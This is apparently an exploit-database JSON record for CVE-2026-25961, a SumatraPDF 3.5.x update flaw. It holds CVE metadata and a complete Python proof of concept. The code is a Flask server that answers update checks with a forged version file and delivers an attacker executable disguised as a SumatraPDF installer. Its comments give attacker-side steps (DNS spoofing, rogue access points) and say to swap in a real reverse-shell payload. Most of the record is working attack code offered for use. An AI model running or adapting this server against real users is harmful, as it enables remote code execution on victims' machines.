{"exploit":{"id":"EDB-52535","name":"SumatraPDF 3.5.2 - Remote Code Execution (RCE)","description":"SumatraPDF 3.5.2 - Remote Code Execution (RCE)","cves":["CVE-2026-25961"],"author":"banyamer","published":"2026-04-30","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52535","path":"exploits/multiple/webapps/52535.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52535.py","vulnerabilities":[{"id":"CVE-2026-25961","state":"PUBLISHED","title":"SumatraPDF Update MITM -> Arbitrary Code Execution","titleSource":"CVE Program","description":"SumatraPDF is a multi-format reader for Windows. In 3.5.0 through 3.5.2, SumatraPDF's update mechanism disables TLS hostname verification (INTERNET_FLAG_IGNORE_CERT_CN_INVALID) and executes installers without signature checks. A network attacker with any valid TLS certificate (e.g., Let's Encrypt) can intercept the update check request, inject a malicious installer URL, and achieve arbitrary code execution.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-25961","cvss":{"version":"3.1","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-25961"},"updatedAt":"2026-02-10T15:57:28.303Z","retrievedAt":"2026-11-25T16:15:50.662Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52535.png?v=2","url":"https://exploitbin.com/exploits/EDB-52535","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52535/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52535/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: SumatraPDF 3.5.2 - Remote Code Execution\n# Date: 2026-02-10\n# Exploit Author: Mohammed I. Banyamer\n# Vendor Homepage: https://www.sumatrapdfreader.org/\n# Software Link: https://www.sumatrapdfreader.org/download-free-pdf-viewer\n# Version: 3.5.0 - 3.5.2\n# Tested on: Windows 10 / 11\n# CVE : CVE-2026-25961\n# Advisory: https://github.com/sumatrapdfreader/sumatrapdf/security/advisories/GHSA-xpm2-rr5m-x96q\n# CVSS: 7.5 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H\n#\n# Description:\n#   SumatraPDF versions 3.5.0 to 3.5.2 disable TLS hostname verification during update checks\n#   (using INTERNET_FLAG_IGNORE_CERT_CN_INVALID) and do not perform any signature or integrity\n#   validation on the downloaded installer.\n#\n#   A network-positioned attacker can:\n#   - Intercept the HTTPS request to www.sumatrapdfreader.org/update-check-rel.txt\n#   - Return a forged response containing a URL to an attacker-controlled executable\n#   - When the user clicks \"Install\", SumatraPDF executes the downloaded file via CreateProcess\n#\n#   Attack scenarios include rogue Wi-Fi, compromised home/office router, malicious upstream proxy,\n#   or DNS hijacking / poisoning that redirects the update domain.\n#\n#   This PoC provides the malicious update server component only.\n#   The attacker must achieve traffic redirection/interception separately (MITM position).\n#\n# Usage (attacker side):\n#   1. Deploy this script on a server / VPS reachable from the victim\n#   2. Achieve network position so that victim's update request reaches your server\n#      (e.g. DNS spoofing, rogue AP, router compromise, transparent proxy injection)\n#   3. Victim opens SumatraPDF → Help → Check for updates\n#   4. Victim sees fake new version → clicks Install → payload executes\n#\n# Notes:\n#   - Replace the dummy payload with real malicious code (reverse shell, etc.)\n#   - No exploit without network adversary position (MITM / DNS control)\n#\n\nfrom flask import Flask, request, Response, send_file\nimport os\n\napp = Flask(__name__)\n\nFAKE_UPDATE_TEMPLATE = \"\"\"Ver=999.9.9\nInstaller64=http://{}:5000/malicious_installer.exe\n\"\"\"\n\nPAYLOAD_FILENAME = \"malicious_installer.exe\"\n\n\nif not os.path.exists(PAYLOAD_FILENAME):\n    print(\"[!] Generating dummy payload (would open calc.exe in real attack)...\")\n    with open(PAYLOAD_FILENAME, \"wb\") as f:\n\n        f.write(b\"MZ\" + b\"\\x90\"*200 + b\"FAKE PAYLOAD - replace with real shellcode\")\n\n@app.route(\"/update-check-rel.txt\")\ndef fake_update():\n\n    attacker_host = request.host.split(':')[0]\n    update_content = FAKE_UPDATE_TEMPLATE.format(attacker_host)\n\n    print(f\"[+] Fake update served to {request.remote_addr} → pointing to {attacker_host}\")\n    return Response(update_content, mimetype=\"text/plain\")\n\n@app.route(\"/malicious_installer.exe\")\ndef deliver_payload():\n    victim_ip = request.remote_addr\n    print(f\"[!] Victim {victim_ip} downloading payload → RCE would trigger on install click\")\n    return send_file(\n        PAYLOAD_FILENAME,\n        as_attachment=True,\n        download_name=\"SumatraPDF-999.9.9-64-installer.exe\",\n        mimetype=\"application/octet-stream\"\n    )\n\nif __name__ == \"__main__\":\n    print(\"======================================================\")\n    print(\"  CVE-2026-25961  SumatraPDF Remote Update PoC Server  \")\n    print(\"  Requires MITM / DNS / router position to be effective \")\n    print(\"======================================================\")\n    print(\"[*] Listening on http://0.0.0.0:5000\")\n    print(\"[*] Point victim traffic to this host for update-check-rel.txt\")\n    print(\"======================================================\")\n\n    app.run(host=\"0.0.0.0\", port=5000, debug=False)","sha256":"059039bee1659718f1602443e4021740d4039096aa73a28c53f326d9c8c5e2ab","bytes":3674,"fetchedAt":"2026-11-26T11:17:28.223Z","encoding":"utf-8 (display only; download retains original bytes)"}